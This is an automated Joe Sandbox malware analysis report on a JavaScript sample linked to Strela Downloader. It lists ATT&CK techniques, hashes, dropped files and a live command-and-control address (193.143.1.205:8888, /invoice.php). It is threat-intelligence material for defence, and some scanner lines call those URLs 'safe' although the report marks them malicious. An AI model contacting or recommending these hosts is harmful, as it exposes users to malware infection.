Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
17772451271118687.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/-	0%	Avira URL Cloud	safe
http://193.143.1.205/invoice.php	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/h	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/h	net.exe, 00000007.00000002.2100729574.000001D1225EB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3324617787.0000020665A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2103436599.0000020665890000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2100729574.000001D12260C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2100729574.000001D1225B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2100729574.000001D1225E1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2100729574.000001D1225EB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/-	net.exe, 00000007.00000002.2100729574.000001D1225EB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587540
Start date and time:	2025-01-10 14:34:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	17772451271118687.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.22.41.97, 3.219.243.226, 3.233.129.217, 52.6.155.20, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 20.109.210.53, 23.41.168.139, 13.107.246.45, 172.202.163.200
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:35:04	API Interceptor	20x Sleep call for process: powershell.exe modified
08:35:08	API Interceptor	1x Sleep call for process: net.exe modified
08:35:08	API Interceptor	2x Sleep call for process: svchost.exe modified
08:35:15	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	random.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.210.172
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	CY SEC AUDIT PLAN 2025.docx.doc	Get hash	malicious	Unknown	Browse	199.232.214.172
	gem2.exe	Get hash	malicious	Xmrig	Browse	199.232.210.172
	1736491685cd440ba02224486139c45779065ac91a3edb422c48d3d3c6920c4d30fc9d2bfc582.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	new.bat	Get hash	malicious	Unknown	Browse	193.143.1.95
	987113922297181060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8306916335046532
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugh:gJjJGtpTq2yv1AuNZRY3diu8iBVqFH
MD5:	6BE9CBE7532701A393C2B3968F289B49
SHA1:	832CC90A70AF7EB17AE99201D2FFC80EFA5656A0
SHA-256:	E65BC3F8AC1386F99C225E97B083BA3F3BABBF573A64C4AB216A96B241FFDD5A
SHA-512:	E2061026C1AF5AE5797F5AC64EB379ED59AE89A615A4798A37C4639C3822270DD8C8F62DFA373E0CD2CCBFE78C1DD25DDAAA0EDA675A7E0632C69F90A312082B
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x8051a787, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585297024109007
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Zaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	D89FB701DE96C68AA83355DA1367D450
SHA1:	A82E7C67BF8FD37AE2208C95A6D2075BEEBFD59B
SHA-256:	0F7F250EC7C1570796744E296D262C8908E9B94AC171C1149C1DEDE0F7FFA44E
SHA-512:	55051B8522E2C0976EE50D2DE8A525514A133491424C26CB6E58F60EE167BE3A0035E9CCA54CB6DF218EBD808E56CDD5D0CC7C23AC39FCDE7927F6B7B2B18201
Malicious:	false
Preview:	.Q..... ...............X\...;...{......................0.z..........{...#...}k.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................k.,..#...}..................!M...#...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07951835983893035
Encrypted:	false
SSDEEP:	3:dyYebYb1GkGuAJkhvekl1k5/tallrekGltll/SPj:dyzbYzrxlK5QJe3l
MD5:	98A26B4A1DB31E1F9484F87F3358C77C
SHA1:	DCF3D0C1AC32F0EE1DCA84773E61B72F29017E10
SHA-256:	F94C9D55932BD8B6371C28E3B0ACC154839B50386245617E10E95C3DD4B0DDE1
SHA-512:	131FFDDA3C51E7B38992F442BA2592DA921B2C4D54A7CBD7A52587AC7610D41F3B806F726DF872EAF50760988F1BA1CA0D638005C9B7820FA3534F0B6F9415F1
Malicious:	false
Preview:	.6W.....................................;...{...#...}.......{...............{.......{...XL......{..................!M...#...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.180293658110623
Encrypted:	false
SSDEEP:	6:iO4od11q2P92nKuAl9OmbnIFUtSod1dQXBZmwsod1dQCpkwO92nKuAl9OmbjLJ:7vz1v4HAahFUtRzSXB/7zSu5LHAaSJ
MD5:	6C239103855F146BB46081C76767C5DB
SHA1:	93301591435E0023C7C831409B74C0013BFAABD0
SHA-256:	BB780BB96EBEDF960C7D6C56CA3237A44111D4118ADE35BFE4F1150F65AF674C
SHA-512:	4B8EFBD5F423B162E8C8E46285F7EC9107E275A626EB31878FFC9AFA44C134C0D977FB657FD6C85B0C7E6611032F18D211235CC0FA1B2B2719B78CB5461550AC
Malicious:	false
Preview:	2025/01/10-08:35:08.577 1c04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:35:08.652 1c04 Recovering log #3.2025/01/10-08:35:08.653 1c04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.180293658110623
Encrypted:	false
SSDEEP:	6:iO4od11q2P92nKuAl9OmbnIFUtSod1dQXBZmwsod1dQCpkwO92nKuAl9OmbjLJ:7vz1v4HAahFUtRzSXB/7zSu5LHAaSJ
MD5:	6C239103855F146BB46081C76767C5DB
SHA1:	93301591435E0023C7C831409B74C0013BFAABD0
SHA-256:	BB780BB96EBEDF960C7D6C56CA3237A44111D4118ADE35BFE4F1150F65AF674C
SHA-512:	4B8EFBD5F423B162E8C8E46285F7EC9107E275A626EB31878FFC9AFA44C134C0D977FB657FD6C85B0C7E6611032F18D211235CC0FA1B2B2719B78CB5461550AC
Malicious:	false
Preview:	2025/01/10-08:35:08.577 1c04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:35:08.652 1c04 Recovering log #3.2025/01/10-08:35:08.653 1c04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1347359103080965
Encrypted:	false
SSDEEP:	6:iO4od1nuT3+q2P92nKuAl9Ombzo2jMGIFUtSod1lJmZmwsod1lJiVkwO92nKuAlx:7vznuT3+v4HAa8uFUtRzW/7zSV5LHAaU
MD5:	46C3B84A80D80B7702C665FE78AEC55E
SHA1:	70735F6B9EDBFAF239BF44558BFB5F53C9EE1DB0
SHA-256:	704D4220C2B21E239A4A4331B1369117B997D291800A01D4DC88D29EC34247D1
SHA-512:	774E62A5B63861432A46951A020F7B4CF293B98B168DB26A10F9D6A1950466736E570298A6783E1F8A719420555653E8862AA4816703E44ABB19FC40496E910C
Malicious:	false
Preview:	2025/01/10-08:35:08.725 1cbc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:35:08.727 1cbc Recovering log #3.2025/01/10-08:35:08.727 1cbc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1347359103080965
Encrypted:	false
SSDEEP:	6:iO4od1nuT3+q2P92nKuAl9Ombzo2jMGIFUtSod1lJmZmwsod1lJiVkwO92nKuAlx:7vznuT3+v4HAa8uFUtRzW/7zSV5LHAaU
MD5:	46C3B84A80D80B7702C665FE78AEC55E
SHA1:	70735F6B9EDBFAF239BF44558BFB5F53C9EE1DB0
SHA-256:	704D4220C2B21E239A4A4331B1369117B997D291800A01D4DC88D29EC34247D1
SHA-512:	774E62A5B63861432A46951A020F7B4CF293B98B168DB26A10F9D6A1950466736E570298A6783E1F8A719420555653E8862AA4816703E44ABB19FC40496E910C
Malicious:	false
Preview:	2025/01/10-08:35:08.725 1cbc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:35:08.727 1cbc Recovering log #3.2025/01/10-08:35:08.727 1cbc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6685b011-e0b7-4e4c-80ec-f765c30cde4a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.0611133906638806
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq2hsBdOg2HM2caq3QYiubxnP7E4T3OF+:Y2sRdsgdMHy3QYhbxP7nbI+
MD5:	34921114AE0E7A3676435656E24E221A
SHA1:	6901FC5DB9BE56AE8CD8F6E1E1787D75D76F81E0
SHA-256:	8C05CEB714C70BB61922807FB92E3F8395C828FBA9C5C9CD6DAE4F6CAE53D829
SHA-512:	832C5B65FF42B23BE5F7ECD50407C7B159A8E0F893194B9365B0EA00D0FAEEABE485841FD75D8F296F3D38BA29AF70431073ECF19A01E69A3A4EC3562104B15A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381076120379894","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138029},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.0611133906638806
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq2hsBdOg2HM2caq3QYiubxnP7E4T3OF+:Y2sRdsgdMHy3QYhbxP7nbI+
MD5:	34921114AE0E7A3676435656E24E221A
SHA1:	6901FC5DB9BE56AE8CD8F6E1E1787D75D76F81E0
SHA-256:	8C05CEB714C70BB61922807FB92E3F8395C828FBA9C5C9CD6DAE4F6CAE53D829
SHA-512:	832C5B65FF42B23BE5F7ECD50407C7B159A8E0F893194B9365B0EA00D0FAEEABE485841FD75D8F296F3D38BA29AF70431073ECF19A01E69A3A4EC3562104B15A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381076120379894","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138029},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.2394988213075555
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLU14Aor:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNL5
MD5:	A965CF98C108F59B403AD7B59F79658B
SHA1:	413265205C31515E66570A53C0B9B6DE2CD6EF6D
SHA-256:	6AE57643408C429F6BBD9D55D1743514AC1567BE08C4BF6A2F0DA637FE3A1F9E
SHA-512:	7689E8B3DDD7443D701616B4A84AFF22D6AEEB7ACEA754EA73607BD489296AC88FC358ADBDEF9CA926E92ED2565B06BCBCF655C37C143AAC3CAA19F52A2F119B
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.14119923646448
Encrypted:	false
SSDEEP:	6:iO4od1MK+q2P92nKuAl9OmbzNMxIFUtSod1+OZmwsod1yDVkwO92nKuAl9OmbzNq:7vzMK+v4HAa8jFUtRzf/7zAV5LHAa84J
MD5:	D1288F4DA47EE99015C9C8B0A09AB55D
SHA1:	DC1F751146AEFC6093785C8C12EE5CBE623BD706
SHA-256:	0822BA829F30002B6C67781E2B42FF34A9EF9E91EADE35C0ECD92A6CACA290D8
SHA-512:	1B000E63A98977370DCA71C8867AAC402AA5A8AD414E4484E9B71F3CB57E05FC018242548DD699F68A7A3D451654C9043F14EC7419BEC5914BE27DDC025A27AA
Malicious:	false
Preview:	2025/01/10-08:35:08.906 1cbc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:35:08.908 1cbc Recovering log #3.2025/01/10-08:35:08.909 1cbc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.14119923646448
Encrypted:	false
SSDEEP:	6:iO4od1MK+q2P92nKuAl9OmbzNMxIFUtSod1+OZmwsod1yDVkwO92nKuAl9OmbzNq:7vzMK+v4HAa8jFUtRzf/7zAV5LHAa84J
MD5:	D1288F4DA47EE99015C9C8B0A09AB55D
SHA1:	DC1F751146AEFC6093785C8C12EE5CBE623BD706
SHA-256:	0822BA829F30002B6C67781E2B42FF34A9EF9E91EADE35C0ECD92A6CACA290D8
SHA-512:	1B000E63A98977370DCA71C8867AAC402AA5A8AD414E4484E9B71F3CB57E05FC018242548DD699F68A7A3D451654C9043F14EC7419BEC5914BE27DDC025A27AA
Malicious:	false
Preview:	2025/01/10-08:35:08.906 1cbc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:35:08.908 1cbc Recovering log #3.2025/01/10-08:35:08.909 1cbc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
